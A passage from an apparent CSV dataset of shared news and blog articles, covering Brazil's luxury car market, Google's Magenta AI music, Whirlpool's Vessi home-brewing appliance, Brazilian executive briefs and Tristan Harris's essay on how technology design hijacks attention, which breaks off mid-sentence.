estabilidade econômica é essencial para que possamos nos manter em um patamar saudável de crescimento."" A Mercedes disputou a liderança do mercado, em 2015, palmo a palmo com a Audi, fechando o ano na segunda colocação com 17 514 unidades vendidas - apenas 27 carros emplacados a menos. A fábrica de automóveis da Mercedes, localizada no interior paulista, na cidade de Iracemápolis, já produz o modelo mais vendido da marca, o sedã Classe C (7809 unidades em 2015). No segundo semestre de 2016 está previsto o início da produção do SUV compacto GLA. Ainda para Marquardt, a expectativa é de que o patamar de vendas de 2015 do segmento premium seja mantido este ano. ""Mas o Brasil continua sendo um mercado muito estratégico para o Grupo Daimler e nossa expectativa é de que se recupere em longo prazo e volte a atingir novos recordes de venda"", pondera. ""No entanto, isso tudo está relacionado também às variações econômicas e do câmbio"". A questão cambial também é considerada essencial por Hofmann, da Audi, uma vez que praticamente inviabiliza a empresa de operar no azul. ""Enquanto o câmbio não voltar ao patamar de um ano atrás, não será possível ter uma operação rentável"", afirma. Berntz, da Delloite, alerta que muitos modelos que estão sendo renovados já chegaram sofrendo reajustes - como o caso da nova geração do Audi A4, cuja versão de entrada custa R$ 160 mil, 10 mil acima da geração anterior. ""Muitas marcas conseguiram segurar os preços em função de estoques. Para modelos novos, fica difícil segurar."" Otimismo Apesar do volume de vendas um pouco mais modesto que o trio alemão, com 8 815 carros vendidos em 2015, o grupo Jaguar Land Rover foi outro a abraçar o Inovar-Auto. Sua fábrica, que será a primeira unidade 100% Jaguar Land Rover fora do Reino Unido, está localizada em Itatiaia (RJ) e a produção dos SUVs Range Rover Evoque e Discovery Sport terá início ainda este ano. ""Hoje no Brasil o percentual de representatividade das marcas de luxo está em torno de 2 a 3% do total de veículos vendidos no país, sendo que em mercados mais maduros, o segmento de automóveis premium pode representar até 10% do mercado total"", analisa Ruben Barbosa, diretor de vendas da Jaguar Land Rover para a América Latina e Caribe. ""As estatísticas indicam que a indústria automotiva total brasileira pode alcançar, até 2025, cerca de cinco milhões de veículos. O segmento premium também deve acompanhar este crescimento. Os próximos 12 a 18 meses serão desafiadores, mas acreditamos no potencial do mercado no médio - longo prazo"". O crescimento do mercado de carros de luxo acabou atraindo até mesmo quem não se dispôs a construir uma fábrica para poder ampliar as cotas de importação, como é o caso da Porsche. A marca, que até o ano passado vendia seus modelos esportivos de luxo através de um importador oficial, estabeleceu uma operação oficial. ""A decisão de abrir uma subsidiária no Brasil foi feita alguns anos atrás, quando o País estava em uma situação muito mais estável. Mas não há nenhum tipo de arrependimento da nossa parte"", garante Matthias Brück, Diretor Presidente da Porsche Brasil. ""Nós, incluindo a matriz, acreditamos que o mercado brasileiro, especialmente a médio e longo prazo, ainda terá muito potencial de crescimento para nossa marca assim que o cenário político-econômico se acalmar."" Kalume Neto, da Jato Dynamics, corrobora as avaliações dos executivos da Jaguar Land Rover e da Porsche. ""São muitos os fatores envolvidos, mas nós da Jato destacamos que potencialmente haverá crescimento"", diz. ""Ao ponderarmos que 3 grandes fábricas venderão veículos para atender num primeiro momento o mercado brasileiro e depois a América do Sul, esperamos, de forma otimista, um crescimento mínimo de 2% nos próximos 4 ou 5 anos quando serão atingidos entre 4 e 4,5% do total das vendas de veículos no Brasil."" Sinal amarelo Apesar do otimismo a médio e longo prazo, o alerta já está ligado no setor há algum tempo. Mesmo dentre as marcas Premium, a Porsche e a Jaguar foram as únicas que, de acordo com os dados divulgados pela Anfavea (Associação Nacional dos Fabricantes de Veículos Automotores) e Abeifa (Associação Brasileira das Empresas Importadoras de Veículos Automotores) no início de maio, conseguiram crescer no primeiro quadrimestre de 2016 em relação ao mesmo período de 2015. A marca inglesa, do mesmo grupo da Land Rover, subiu de 130 para 223 unidades, um crescimento de 71,5% - fruto do grande sucesso do sedã XE, que representa cerca de 80% das vendas. Já a Porsche foi de 208 para 236 emplacamentos, aumento de 13,5% - tendo como o seu campeão de vendas o SUV Macan. As duas marcas, no entanto, já superaram as suas cotas de importação, o que, evidentemente, reduz a rentabilidade do sucesso nas vendas. Berntz, da Delloite, tem reservas quanto ao programa Inovar Auto. ""Evidentemente é interessante trazer marcas que não estavam instaladas aqui no Brasil, mas todas que vieram tem um baixo volume de produção, entre 10 e 20 mil unidades. Não há ganhos de escala, nem impacto no setor de autopeças"", afirma. ""Além disso, o incentivo econômico é que motivou a sua vinda. Falta incentivo técnico, como por exemplo a padronização técnica no Mercosul para determinados sistemas e um programa de reciclagem de carros antigos.""",pt
1464867955,CONTENT REMOVED,-2309481887656981309,3609194402293569455,6147896666617046192,,,,HTML,http://epocanegocios.globo.com/Publicidade/noticia/2016/06/carros-de-luxo-em-alta-mas-alerta-esta-aceso.html,"Carros de luxo em alta, mas o alerta está aceso","O mercado automobilístico no Brasil está longe de viver o seu melhor momento. Pelo terceiro ano consecutivo o setor amargou uma queda no número de emplacamentos, despencando de mais de 3,8 milhões de unidades em 2012 para 2,56 milhões em 2015. Mas um segmento, ainda que responda por menos de 3% das vendas, se destaca por apresentar gráficos com uma tendência totalmente oposta. As marcas de luxo, cujo portfólio possui produtos com preços acima dos 100 mil reais, em 2012 emplacaram 48 146 unidades, número que, no fechamento de 2015, saltou para 67 927. De acordo com Milad Kalume Neto, gerente de desenvolvimento de negócios da Jato Dynamics, consultoria especializada no mercado automotivo, trata-se de uma volta por cima desse segmento, que foi bastante afetado quando houve a mudança nas regras do IPI. ""O mercado premium vinha em ascendente crescimento quando no final de 2011 o governo alterou as alíquotas de IPI para veículos importados de fora do Mercosul"", explica, citando que, de 2010 para 2011, esse segmento tinha registrado um aumento de 31,1 mil para 47,1 unidades. ""De início, foi necessário uma adaptação, passando, por exemplo, a oferecer um leque de opções mais enxuto, diminuindo sensivelmente a disponibilidade de versões por modelo"". As vendas do segmento Premium caíram bastante em 2012 e as principais marcas no País se viram praticamente obrigadas a aderir aos termos do Inovar Auto. Audi, BMW, Mercedes-Benz e Jaguar Land Rover decidiram então pela instalação de fábricas aqui no País para, assim, conseguir ampliar o volume de suas cotas de importação - o excedente é sobretaxado em 30%. Desde então, os números nas vendas só cresceram. Crise x resultados Diante do compasso de redução do ritmo do setor automobilístico como um todo em meio à crise político-econômica, a boa performance desse segmento pode ser explicada por uma conjunção de fatores. A primeira, fazendo uma avaliação mais ampla é o crescimento da Classe A brasileira. No entanto, Kalume Neto, isso não quer dizer que o segmento é imune à crise. ""Note que o segmento cresce em participação de mercado, como tendência efetiva observada nos últimos anos, mas cresce menos em vendas absolutas, fruto da crise atual que derrubou o mercado."" Outra questão abordada pelo executivo da Jato Dynamics é relacionado à oferta de produtos no mercado. ""Algumas marcas premium passaram a disputar uma faixa de mercado que tinha, até então, poucos competidores no Brasil, o segmento Upper Medium"", analisa Kalume Neto. Por exemplo, o tradicional consumidor de modelos como VW Jetta, Honda Civic ou Toyota Corolla em suas versões mais caras passou a ter opções de marcas como Audi, BMW e Mercedes-Benz. A atual líder desse segmento, a Audi - que saltou de 14,24% do mercado em 2012 (com 4 960 emplacamentos) para 25,82% em 2015 (17 541) - tem como seus modelos mais vendidos exatamente os mais acessíveis: as linhas A3 (custa a partir de R$ 106 mil) e o Q3 (SUV que parte de R$ 136 mil), exatamente os dois que estão sendo produzidos na fábrica brasileira, localizada em São José dos Pinhais (PR). ""A liderança é uma conquista significativa, sem dúvida, mas é importante ressaltar que nosso trabalho é voltado para garantir a sustentabilidade do negócio a longo prazo"", diz Jörg Hofmann, presidente e CEO da Audi do Brasil. ""Os nossos resultados são reflexo de uma estratégia que criamos ainda em 2013. Nos últimos dois anos, investimos R$ 500 milhões em nossa linha de produção, R$ 200 milhões na expansão de nossa rede de concessionárias e R$ 12 milhões em pós-vendas."" Outro fator importante é apontado por Ivair Berntz, sócio-líder para o setor automotivo da consultoria Delloite no Brasil. ""Esse público que adquire carros acima da faixa dos 100 mil reais tem mais estabilidade e é muito menos dependente da oferta de crédito. E, nesses últimos anos, está tendo condições de realizar antigos sonhos de consumo"". Avaliação parecida faz o diretor de vendas da BMW do Brasil, Martin Fritsches. ""O segmento premium possui uma dinâmica que ainda é um pouco diferente do mercado regular de automóveis. Há um mercado potencial para veículos premium muito relevante no Brasil, cuja expansão se iniciou muito recentemente, o que gera oportunidades."" Fonte: Jato Dynamics Na fábrica de Araquari (SC), a BMW produz os modelos Série 3 (sedã que é, disparado, o seu modelo mais vendido, com 7418 unidades), Série 1, X1, X3 e MINI Countryman. E, recentemente, anunciou que 10 mil unidades do seu SUV de entrada, o X1, serão exportados. ""Nos últimos meses, identificamos uma demanda importante por esse modelo nos Estados Unidos, cujo volume poderia ser atendido pela fábrica de Araquari, por isso estruturamos o projeto recém-anunciado de exportação"", explicou o executivo, destacando a importância da estratégia da flexibilidade de produção implementada globalmente. ""Isso significa que é plenamente viável incluir novos modelos na nossa linha em Araquari,"" Longo prazo Mas a atual indefinição político-econômica faz com que mesmo esse segmento, que obteve resultados bastante positivos em 2015, também sinta seus efeitos. Benrntz, da Delloite, diz que o sinal de alerta já está aceso mesmo nesse mercado. ""A crise já está chegou também na classe média-alta brasileira"". Holger Marquardt, diretor geral de Automóveis da Mercedes-Benz para a América Latina e Caribe, faz avaliação na mesma linha. ""O cenário político-econômico desafiador do Brasil também está afetando o desenvolvimento do mercado de automóveis premium nesse momento"", diz. ""A retomada da estabilidade econômica é essencial para que possamos nos manter em um patamar saudável de crescimento."" A Mercedes disputou a liderança do mercado, em 2015, palmo a palmo com a Audi, fechando o ano na segunda colocação com 17 514 unidades vendidas - apenas 27 carros emplacados a menos. A fábrica de automóveis da Mercedes, localizada no interior paulista, na cidade de Iracemápolis, já produz o modelo mais vendido da marca, o sedã Classe C (7809 unidades em 2015). No segundo semestre de 2016 está previsto o início da produção do SUV compacto GLA. Ainda para Marquardt, a expectativa é de que o patamar de vendas de 2015 do segmento premium seja mantido este ano. ""Mas o Brasil continua sendo um mercado muito estratégico para o Grupo Daimler e nossa expectativa é de que se recupere em longo prazo e volte a atingir novos recordes de venda"", pondera. ""No entanto, isso tudo está relacionado também às variações econômicas e do câmbio"". A questão cambial também é considerada essencial por Hofmann, da Audi, uma vez que praticamente inviabiliza a empresa de operar no azul. ""Enquanto o câmbio não voltar ao patamar de um ano atrás, não será possível ter uma operação rentável"", afirma. Berntz, da Delloite, alerta que muitos modelos que estão sendo renovados já chegaram sofrendo reajustes - como o caso da nova geração do Audi A4, cuja versão de entrada custa R$ 160 mil, 10 mil acima da geração anterior. ""Muitas marcas conseguiram segurar os preços em função de estoques. Para modelos novos, fica difícil segurar."" Otimismo Apesar do volume de vendas um pouco mais modesto que o trio alemão, com 8 815 carros vendidos em 2015, o grupo Jaguar Land Rover foi outro a abraçar o Inovar-Auto. Sua fábrica, que será a primeira unidade 100% Jaguar Land Rover fora do Reino Unido, está localizada em Itatiaia (RJ) e a produção dos SUVs Range Rover Evoque e Discovery Sport terá início ainda este ano. ""Hoje no Brasil o percentual de representatividade das marcas de luxo está em torno de 2 a 3% do total de veículos vendidos no país, sendo que em mercados mais maduros, o segmento de automóveis premium pode representar até 10% do mercado total"", analisa Ruben Barbosa, diretor de vendas da Jaguar Land Rover para a América Latina e Caribe. ""As estatísticas indicam que a indústria automotiva total brasileira pode alcançar, até 2025, cerca de cinco milhões de veículos. O segmento premium também deve acompanhar este crescimento. Os próximos 12 a 18 meses serão desafiadores, mas acreditamos no potencial do mercado no médio - longo prazo"". O crescimento do mercado de carros de luxo acabou atraindo até mesmo quem não se dispôs a construir uma fábrica para poder ampliar as cotas de importação, como é o caso da Porsche. A marca, que até o ano passado vendia seus modelos esportivos de luxo através de um importador oficial, estabeleceu uma operação oficial. ""A decisão de abrir uma subsidiária no Brasil foi feita alguns anos atrás, quando o País estava em uma situação muito mais estável. Mas não há nenhum tipo de arrependimento da nossa parte"", garante Matthias Brück, Diretor Presidente da Porsche Brasil. ""Nós, incluindo a matriz, acreditamos que o mercado brasileiro, especialmente a médio e longo prazo, ainda terá muito potencial de crescimento para nossa marca assim que o cenário político-econômico se acalmar."" Kalume Neto, da Jato Dynamics, corrobora as avaliações dos executivos da Jaguar Land Rover e da Porsche. ""São muitos os fatores envolvidos, mas nós da Jato destacamos que potencialmente haverá crescimento"", diz. ""Ao ponderarmos que 3 grandes fábricas venderão veículos para atender num primeiro momento o mercado brasileiro e depois a América do Sul, esperamos, de forma otimista, um crescimento mínimo de 2% nos próximos 4 ou 5 anos quando serão atingidos entre 4 e 4,5% do total das vendas de veículos no Brasil."" Sinal amarelo Apesar do otimismo a médio e longo prazo, o alerta já está ligado no setor há algum tempo. Mesmo dentre as marcas Premium, a Porsche e a Jaguar foram as únicas que, de acordo com os dados divulgados pela Anfavea (Associação Nacional dos Fabricantes de Veículos Automotores) e Abeifa (Associação Brasileira das Empresas Importadoras de Veículos Automotores) no início de maio, conseguiram crescer no primeiro quadrimestre de 2016 em relação ao mesmo período de 2015. A marca inglesa, do mesmo grupo da Land Rover, subiu de 130 para 223 unidades, um crescimento de 71,5% - fruto do grande sucesso do sedã XE, que representa cerca de 80% das vendas. Já a Porsche foi de 208 para 236 emplacamentos, aumento de 13,5% - tendo como o seu campeão de vendas o SUV Macan. As duas marcas, no entanto, já superaram as suas cotas de importação, o que, evidentemente, reduz a rentabilidade do sucesso nas vendas. Berntz, da Delloite, tem reservas quanto ao programa Inovar Auto. ""Evidentemente é interessante trazer marcas que não estavam instaladas aqui no Brasil, mas todas que vieram tem um baixo volume de produção, entre 10 e 20 mil unidades. Não há ganhos de escala, nem impacto no setor de autopeças"", afirma. ""Além disso, o incentivo econômico é que motivou a sua vinda. Falta incentivo técnico, como por exemplo a padronização técnica no Mercosul para determinados sistemas e um programa de reciclagem de carros antigos.""",pt
1464869091,CONTENT SHARED,5787934590133549357,-1387464358334758758,7170482234777071965,,,,HTML,http://googlediscovery.com/2016/06/01/ouca-musica-criada-pela-inteligencia-artificial-do-google/,Ouça a música criada pela inteligência artificial do Google | Google Discovery,"A inteligência artificial do Google mostrou ter uma certa habilidade artística com a revelação de que a tecnologia foi capaz de desenvolver uma música de 90 segundos. Este é o primeiro resultado do programa Magenta do Google, anunciado na semana passada, que vem sendo projetado para colocar os sistemas de aprendizado de máquina do Google para trabalhar na criação de arte e música. A equipe do buscador afirma que o desafio não está em somente em desenvolver artes, mas que sejam capazes de contar histórias a partir de suas criações. ""Acreditamos que esta capacidade irá semear uma nova cultura emocionante de ferramentas para a criação de arte e música"", escreveu Douglas Eck, um dos cientistas do Google. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1464869657,CONTENT SHARED,5906767912084571064,3829784524040647339,8898367435678437528,,,,HTML,http://www.geek.com/news/whrilpool-vessi-brings-the-microbrewery-to-your-kitchen-1656699/,Whirlpool Vessi puts a microbrewery in your kitchen | News | Geek.com,"If you were waiting for proof that home brewing appliances weren't just a passing fad, here it is: Whirlpool, one of the world's largest appliance makers, is going to make one. They call it Vessi, and this is no dainty countertop Keurig for beer . Vessi is serious brewing gear for the serious home brewer. It's a fermenter just like the ones you'd see on a brewery tour, shrunken down for home use and stuffed into a standard 24-inch kitchen appliance. Rip out your dishwasher, beer lovers, because there's a much more useful piece of hardware you can install in that spot now. Vessi is designed to handle the cold side of the brewing process. After you've cooked your magical mixture, you transfer it to the stainless steel fermenter - which can handle between five and six gallons of beer at a time. Vessi will have it ready to drink in about a week, and you don't even need to bottle it to enjoy it. There's an integrated cooling system to chill your beer to the perfect temperature, a CO2 regulator to make sure it has the right level of carbonation, convenient digital controls, and a tap so you can serve it up straight from the tank. Whirlpool's Bob Schneider - a veteran 3D modeler who's also a seasoned home brewer - told me one literally cool trick Vessi has up its sleeve. Because it has an integrated temperature regulation system, Vessi has no problem turning out a nice, smooth lager. Lager's aren't generally very easy to brew at home, since they have to be conditioned at a low, consistent temperature. The fact that Whirlpool is actually making something like Vessi seems surprising at first, but home brewing is huge. More than 1.2 million people do it, and they're brewing millions of barrels of beer every year. Whirlpool is confident that there's a market for Vessi, and they're taking it to Indiegogo to find out if they're right. If the campaign proves successful - and with the strong initial interest Whirlpool has seen from both commercial brewers and home brewers that seems like a foregone conclusion - Vessi will eventually hit retail stores with a price tag of $1,899. Backers will get a big break on that price. A pledge of $1,499 will get you a Vessi shipped right to your door along with a $100 gift card that you can use to purchase grains to brew your first beers.",en
1464871461,CONTENT SHARED,-7255737497176527784,3609194402293569455,6147896666617046192,,,,HTML,http://epocanegocios.globo.com/Empresa/noticia/2016/06/siga-o-lider-ed108.html,Siga o líder,"Aldemir Bendine (Petrobras) (Foto: Agência O Globo) Aldemir Bendine (Petrobras) Vão-se os anéis A Petrobras decidiu vender a fatia de 36% que possui na Braskem, o que vale cerca de R$ 5,8 bilhões. A estatal, comandada por Aldemir Bendine (foto), tem aproximadamente US$ 24 bilhões em dívidas a vencer neste ano e no próximo - e não gerou fluxo de caixa livre nos últimos oito anos. Não fosse tão ruim a situação, a Petrobras dificilmente abriria mão de uma companhia que: 1) tem enorme sinergia com a atividade da petrolífera; 2) tem o virtual monopólio do setor petroquímico; e 3) é, antes de tudo, um negócio rentável. O eventual comprador terá duas preocupações. A Braskem compra nafta da Petrobras, por um valor que considera alto. No atual aperto, essa política de preços deve continuar. Além disso, não se sabe até que ponto a Lava Jato avançará na Braskem, que tem como outro dono a Odebrecht. Ricardo Vescovi (samarco) (Foto: Folhapress) Ricardo Vescovi (Samarco) Pode sobrar para ele Ricardo Vescovi (foto), ex-presidente da Samarco, deixou o cargo para cuidar de sua defesa. Em janeiro, ele e mais sete funcionários da mineradora foram indiciados pela Polícia Federal por crime ambiental, após a queda da barragem de Fundão, em Mariana (MG). Dezessete pessoas morreram na tragédia. A companhia nega qualquer tipo de negligência. Um acordo judicial, para que a Samarco e suas controladoras (Vale e BHP) compensem os danos socioambientais, deve ser fechado este mês e está estimado em R$ 20 bilhões. O lucro anual da empresa mineira, antes do problema, girava em torno de R$ 3 bilhões. Reed Hastings (Netflix) (Foto: Picture Alliance) Reed Hastings (Netflix) Invasão em séries Em uma única investida, a Netflix, serviço de filmes e séries pela internet, passou a operar em 130 novos países, a partir de janeiro, chegando ao total de 190 - apenas a China, Coreia do Norte, Síria e a região da Crimeia não têm cobertura da empresa. ""Hoje, vocês estão testemunhando o nascimento de uma rede mundial de TV por internet"", disse Reed Hastings (foto), diretor executivo da marca, ao anunciar a megaexpansão. Mas não basta ""invadir"", é preciso ter munição para sustentar o ataque. Após o sucesso de produções como House of Cards e Narcos, a empresa planeja lançar mais 31 séries originais, além de 20 filmes e documentários próprios ainda este ano. Akio Toyoda (Toyota) (Foto: Zumapress) Akio Toyoda (Toyota) Mudança de pista Foi com humildade tipicamente japonesa que Akio Toyoda (foto), presidente da montadora Toyota, reconheceu a necessidade de uma correção de rota da empresa, em entrevista ao Wall Street Journal, durante o Salão de Detroit, em janeiro. ""Eu mudei a forma de pensar"", disse o executivo. ""Agora, acredito que faz sentido a Toyota participar na área de veículos autônomos, e nós temos os recursos para fazê-lo."" Sob o comando de Toyoda desde 2009, a companhia retomou a posição de maior vendedora global de veículos. A indústria automotiva teme que, em um eventual cenário de predomínio dos autônomos, a maior mordida dos lucros fique com as empresas que produzem softwares e tecnologias para esses carros - ou seja, que as montadoras se tornem algo parecido com as fábricas chinesas de celulares da Apple. Travis Kalanick (Uber) (Foto: Newscom) Travis Kalanick (Uber) Assim no céu como na terra O Uber firmou uma parceria com a Airbus para oferecer transporte de helicóptero pelo aplicativo. Os primeiros passageiros foram conduzidos durante o festival de cinema Sundance, em Utah, nos Estados Unidos, no fim de janeiro. As empresas afirmam que a intenção é criar um novo negócio que aumentaria a base de pessoas com acesso a uma aeronave desse tipo. O Uber, comandado por Travis Kalanick (foto), é uma empresa com voraz ímpeto expansionista, tanto do ponto de vista geográfico quanto no espectro de serviços. Não se sabe quando - ou se - o projeto, um piloto, virá ao Brasil. Mas vale observar que o mercado de transporte por helicóptero em São Paulo é um dos mais ativos do planeta, com cerca de 400 aeronaves em operação. Ao mesmo tempo, o Uber foi mordido no calcanhar: a GM investiu US$ 500 milhões em seu rival, o Lyft.",pt
1464872155,CONTENT SHARED,-8529522981244750831,8759620187357735368,-1887985707808422181,,,,HTML,https://medium.com/swlh/how-technology-hijacks-peoples-minds-from-a-magician-and-google-s-design-ethicist-56d62ef5edf3,How Technology Hijacks People's Minds - from a Magician and Google's Design Ethicist - The Startup,"How Technology Hijacks People's Minds - from a Magician and Google's Design Ethicist Estimated reading time: 12 minutes. I'm an expert on how technology hijacks our psychological vulnerabilities. That's why I spent the last three years as a Design Ethicist at Google caring about how to design things in a way that defends a billion people's minds from getting hijacked. When using technology, we often focus optimistically on all the things it does for us. But I want to show you where it might do the opposite. Where does technology exploit our minds' weaknesses ? I learned to think this way when I was a magician. Magicians start by looking for blind spots, edges, vulnerabilities and limits of people's perception, so they can influence what people do without them even realizing it. Once you know how to push people's buttons, you can play them like a piano. And this is exactly what product designers do to your mind. They play your psychological vulnerabilities (consciously and unconsciously) against you in the race to grab your attention. I want to show you how they do it. Hijack #1: If You Control the Menu, You Control the Choices Western Culture is built around ideals of individual choice and freedom. Millions of us fiercely defend our right to make ""free"" choices, while we ignore how those choices are manipulated upstream by menus we didn't choose in the first place. This is exactly what magicians do. They give people the illusion of free choice while architecting the menu so that they win, no matter what you choose. I can't emphasize enough how deep this insight is. When people are given a menu of choices, they rarely ask: ""what's not on the menu?"" ""why am I being given these options and not others?"" ""do I know the menu provider's goals?"" ""is this menu empowering for my original need, or are the choices actually a distraction?"" (e.g. an overwhelmingly array of toothpastes) For example, imagine you're out with friends on a Tuesday night and want to keep the conversation going. You open Yelp to find nearby recommendations and see a list of bars. The group turns into a huddle of faces staring down at their phones comparing bars. They scrutinize the photos of each, comparing cocktail drinks. Is this menu still relevant to the original desire of the group? It's not that bars aren't a good choice, it's that Yelp substituted the group's original question (""where can we go to keep talking?"") with a different question (""what's a bar with good photos of cocktails?"") all by shaping the menu. Moreover, the group falls for the illusion that Yelp's menu represents a complete set of choices for where to go. While looking down at their phones, they don't see the park across the street with a band playing live music. They miss the pop-up gallery on the other side of the street serving crepes and coffee. Neither of those show up on Yelp's menu. The more choices technology gives us in nearly every domain of our lives (information, events, places to go, friends, dating, jobs) -  the more we assume that our phone is always the most empowering and useful menu to pick from . Is it? ""Who's free tonight to hang out?"" becomes a menu of most recent people who texted us (who we could ping). ""What's happening in the world?"" becomes a menu of news feed stories. ""Who's single to go on a date?"" becomes a menuof faces to swipe on Tinder (instead of local events with friends, or urban adventures nearby). ""I have to respond to this email."" becomes a menu of keys to type a response (instead of empowering ways to communicate with a person). The ""most empowering"" menu is different than the menu that has the most choices . But when we blindly surrender to the menus we're given, it's easy to lose track of the difference: When we wake up in the morning and turn our phone over to see a list of notifications - it frames the experience of ""waking up in the morning"" around a menu of ""all the things I've missed since yesterday."" (for more examples, see Joe Edelman's Empowering Design talk ) By shaping the menus we pick from, technology hijacks the way we perceive our choices and replaces them with new ones. But the closer we pay attention to the options we're given, the more we'll notice when they don't actually align with our true needs. Hijack #2: Put a Slot Machine In a Billion Pockets If you're an app, how do you keep people hooked? Turn yourself into a slot machine. The average person checks their phone 150 times a day. Why do we do this? Are we making 150 conscious choices ? One major reason why is the #1 psychological ingredient in slot machines: intermittent variable rewards . But here's the unfortunate truth - several billion people have a slot machine their pocket: When we pull our phone out of our pocket, we're playing a slot machine to see what notifications we got. When we pull to refresh our email, we're playing a slot machine to see what new email we got. When we swipe down our finger to scroll the Instagram feed, we're playing a slot machine to see what photo comes next. When we swipe faces left/right on dating apps like Tinder, we're playing a slot machine to see if we got a match. When we tap the # of red notifications, we're playing a slot machine to what's underneath. If you want to maximize addictiveness, all tech designers need to do is link a user's action (like pulling a lever) with a variable reward . You pull a lever and immediately receive either an enticing reward (a match, a prize!) or nothing. Addictiveness is maximized when the rate of reward is most variable. Does this effect really work on people? Yes. Slot machines make more money in the United States than baseball, movies, and theme parks combined Relative to other kinds of gambling, people get 'problematically involved' with slot machines 3-4x faster according to NYU professor Natasha Dow Schull, author of Addiction by Design. Apps and websites sprinkle intermittent variable rewards all over their products because it's good for business. But in other cases, slot machines emerge by accident. For example, there is no malicious corporation behind all of email who consciously chose to make it a slot machine. No one profits when millions check their email and nothing's there. Neither did Apple and Google's designers want phones to work like slot machines. It emerged by accident. But now companies like Apple and Google have a responsibility to reduce these effects by converting intermittent variable rewards into less addictive, more predictable ones with better design. For example, they could empower people to set predictable times during the day or week for when they want to check ""slot machine"" apps, and correspondingly adjust when new messages are delivered to align with those times. Hijack #3: Fear of Missing Something Important (FOMSI) This keeps us subscribed to newsletters even after they haven't delivered recent benefits (""what if I miss a future announcement?"") This keeps us ""friended"" to people with whom we haven't spoke in ages (""what if I miss something important from them?"") This keeps us swiping faces on dating apps, even when we haven't even met up with anyone in a while (""what if I miss that one hot match who likes me?"") This keeps us using social media (""what if I miss that important news story or fall behind what my friends are talking about?"") Another way apps and websites hijack people's minds is by inducing a ""1% chance you could be missing something important."" There are magic moments on Facebook we'll miss by not using it for the 6th hour (e.g. an old friend who's visiting town right now ). There are magic moments we'll miss on Tinder (e.g. our dream romantic partner) by not swiping our 700th match. There are emergency phone calls we'll miss if we're not connected 24/7 . But living moment to moment with the fear of missing something isn't how we're built to live. If I convince you that I'm a channel for important information, messages, friendships, or potential sexual opportunities - it will be hard for you to turn me off, unsubscribe, or remove your account - because (aha, I win) you might miss something important: We don't miss what we don't see. But if we zoom into that fear, we'll discover that it's unbounded : we'll always miss something important at any point when we stop using something. And it's amazing how quickly, once we let go of that fear, we wake up from the illusion. When we unplug for more than a day, unsubscribe from those notifications, or go to Camp Grounded  - the concerns we thought we'd have don't actually happen. The thought, ""what if I miss something important?"" is generated in advance of unplugging, unsubscribing, or turning off  - not after. Imagine if tech companies recognized that, and helped us proactively tune our relationships with friends and businesses in terms of what we define as "" time well spent "" for our lives, instead of in terms of what we might miss. Hijack #4: Social Approval We're all vulnerable to social approval . The need to belong, to be approved or appreciated by our peers is among the highest human motivations. But now our social approval is in the hands of tech companies. When I get tagged by my friend Marc, I imagine him making a conscious choice to tag me. But I don't see how a company like Facebook orchestrated his doing that in the first place. Facebook, Instagram or SnapChat can manipulate how often people get tagged in photos by automatically suggesting all the faces people should tag (e.g. by showing a box with a 1-click confirmation, ""Tag Tristan in this photo?""). So when Marc tags me, he's actually responding to Facebook's suggestion, not making an independent choice. But through design choices like this, Facebook controls the multiplier for how often millions of people experience their social approval on the line . The same happens when we change our main profile photo - Facebook knows that's a moment when we're vulnerable to social approval : ""what do my friends think of my new pic?"" Facebook can rank this higher in the news feed, so it sticks around for longer and more friends will like or comment on it. Each time they like or comment on it, we'll get pulled right back. You do me a favor - I owe you one next time. You say, ""thank you""- I have to say ""you're welcome."" You send me an email- it's rude not to get back to you. You follow me - it's rude not to follow you back. (especially for teenagers) Everyone innately responds to social approval, but some demographics (teenagers) are more vulnerable to it than others. That's why it's so important to recognize how powerful designers are when they exploit this vulnerability. Hijack #5: Social Reciprocity (Tit-for-tat) We are vulnerable to needing to reciprocate others' gestures . But as with Social Approval, tech companies now manipulate how often we experience it. In some cases, it's by accident. Email, texting and messaging apps are social reciprocity factories . But in other cases, companies exploit this vulnerability on purpose. LinkedIn is the most obvious offender. LinkedIn wants as many people creating social obligations for each other as possible, because each time they reciprocate (by accepting a connection, responding to a message, or endorsing someone back for a skill) they have to come back to linkedin.com where they can get people to spend more time. Like Facebook, LinkedIn exploits an asymmetry in perception. When you receive an invitation from someone to connect, you imagine that person making a conscious choice to invite you, when in reality, they likely unconsciously responded to LinkedIn's list of suggested contacts. In other words, LinkedIn turns your unconscious impulses (to ""add"" a person) into new social obligations that millions of people feel obligated to repay. All while they profit from the time people spend doing it. Imagine millions of people getting interrupted like this throughout their day, running around like chickens with their heads cut off, reciprocating each other - all designed by companies who profit from it. Welcome to social media. Imagine if technology companies had a responsibility to minimize social reciprocity. Or if there was an independent organization that represented the public's interests - an industry consortium or an FDA for tech - that monitored when technology companies abused these biases? Hijack #6: Bottomless bowls, Infinite Feeds, and Autoplay Another way to hijack people is to keep them consuming things, even when they aren't hungry anymore. How? Easy. Take an experience that was bounded and finite, and turn it into a bottomless flow that keeps going . Cornell professor Brian Wansink demonstrated this in his study showing you can trick people into keep eating soup by giving them a bottomless bowl that automatically refills as they eat. With bottomless bowls, people eat 73% more calories than those with normal bowls and underestimate how many calories they ate by 140 calories. Tech companies exploit the same principle. News feeds are purposely designed to auto-refill with reasons to keep you scrolling, and purposely eliminate any reason for you to pause, reconsider or leave. It's also why video and social media sites like Netflix, YouTube or Facebook autoplay the next video after a countdown instead of waiting for you to make a conscious choice (in case you won't). A huge portion of traffic on these websites is driven by autoplaying the next thing. Tech companies often claim that ""we're just making it easier for users to see the video they want to watch"" when they are actually serving their business interests. And you can't blame them, because increasing ""time spent"" is the currency they compete for. Instead, imagine if technology companies empowered you to consciously bound your experience to align with what would be "" time well spent "" for you. Not just bounding the quantity of time you spend, but the qualities of what would be ""time well spent."" Hijack #7: Instant Interruption vs. ""Respectful"" Delivery Companies know that messages that interrupt people immediately are more persuasive at getting people to respond than messages delivered asynchronously (like email or any deferred inbox). Given the choice, Facebook Messenger (or WhatsApp, WeChat or SnapChat for that matter) would prefer to design their messaging system to interrupt recipients immediately (and show a chat box) instead of helping users respect each other's attention. In other words, interruption is good for business . It's also in their interest to heighten the feeling of urgency and social reciprocity. For example, Facebook automatically tells the sender when you ""saw"" their message, instead of letting you avoid disclosing whether you read it (""now that you know I've seen the message, I feel even more obligated to respond."") By contrast, Apple more respectfully lets users toggle ""Read Receipts"" on or off. The problem is, maximizing interruptions in the name of business creates a tragedy of the commons, ruining global attention spans and causing billions 